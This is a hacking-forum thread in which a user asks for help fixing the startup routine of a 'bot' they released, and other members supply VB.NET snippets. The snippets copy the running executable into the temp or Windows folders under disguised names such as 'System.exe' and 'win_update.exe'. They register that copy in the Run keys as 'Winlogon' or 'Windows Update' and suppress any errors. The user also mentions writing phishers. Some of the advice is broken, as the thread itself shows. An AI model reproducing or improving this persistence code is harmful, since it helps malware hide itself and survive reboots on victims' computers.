[1llusion]

Hey

Well... My bot that I released has a problem with registry startup, I think I tried to repair it for long enough to ask for help

Well, here is the code:

Code:

If reg = True Then If temp = True Then If System.IO.File.Exists(Environ("temp") & "System.exe") = False Then IO.File.Copy(Application.ExecutablePath, Environ("temp") & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", Environ("temp") & "System.exe") regKey.Close() ElseIf win = True Then If System.IO.File.Exists(Environ("windir") & "System.exe") = False Then IO.File.Copy(Application.ExecutablePath, Environ("windir") & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", Environ("windir") & "System.exe") regKey.Close() ElseIf custom = True Then If System.IO.File.Exists(dir) = False Then IO.File.Copy(Application.ExecutablePath, dir & "System.exe") End If Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", dir & "System.exe") regKey.Close() End If End If

Error is: Object reference not set to an instance of an object

Also, I'm not 100% sure its this might be other thing, but I want to make sure, before I will completely recode everything


Thanks alooooot!!!!

-gives a cookie-

[Coder-san]

This should work. Normalized your code too.

Code:

If reg = True Then Dim fLocation As String = String.Empty If temp = True Then fLocation = Environ("temp") & "System.exe" ElseIf win = True Then fLocation = Environ("windir") & "System.exe" ElseIf custom = True Then fLocation = dir & "System.exe" End If If System.IO.File.Exists(fLocation) = False Then IO.File.Copy(Application.ExecutablePath, fLocation) End If Dim regKey As New RegistryKey regKey = Registry.CurrentUser.OpenSubKey(regtxt, True) regKey.SetValue("Winlogon", fLocation) regKey.Close() End If

[1llusion]

Thanks Still can't figure out why my code didn't work but probably computers are more clever then we think and they saw its coded in dumb way

[Coder-san]

You get that error 91 when your variable is not blank or it's not a new instance.

You had this:

Code:

Dim regKey As RegistryKey

Should be:

Code:

Dim regKey As New RegistryKey

[1llusion]

You get that error 91 when your variable is not blank or it's not a new instance.

You had this:

Code:

Dim regKey As RegistryKey

Should be:

Code:

Dim regKey As New RegistryKey

wow thanks I actually thought it would be other way around! thanks!

EDIT: 'regkey has no contructors' ... What is causing that? I tried similar thing like with threading, but failed (ofc)

Code:

Dim t as thread t = New Thread(AdressOf sub)

[1234hotmaster]

sad i can't help but think coder can...

btw the first code you can use

(environ("temp") & "\" & application.productname & ".exe")

[V1P3R]

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try End Sub

try it and good luck :3

[Coder-san]

You get that error 91 when your variable is not blank or it's not a new instance.

You had this:

Code:

Dim regKey As RegistryKey

Should be:

Code:

Dim regKey As New RegistryKey

wow thanks I actually thought it would be other way around! thanks!

EDIT: 'regkey has no contructors' ... What is causing that? I tried similar thing like with threading, but failed (ofc)

Code:

Dim t as thread t = New Thread(AdressOf sub)

Hmm, yeah I didn't test that.

You can use this:

Code:

Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Winlogon", "C:\fil.exe")

For starting a Thread you need this:

Code:

CheckForIllegalCrossThreadCalls = False Dim t As New Threading.Thread(AddressOf YourSub) t.IsBackground = True t.Start()

[1llusion]

thanks

damn without you I would be still making simple phishers O.o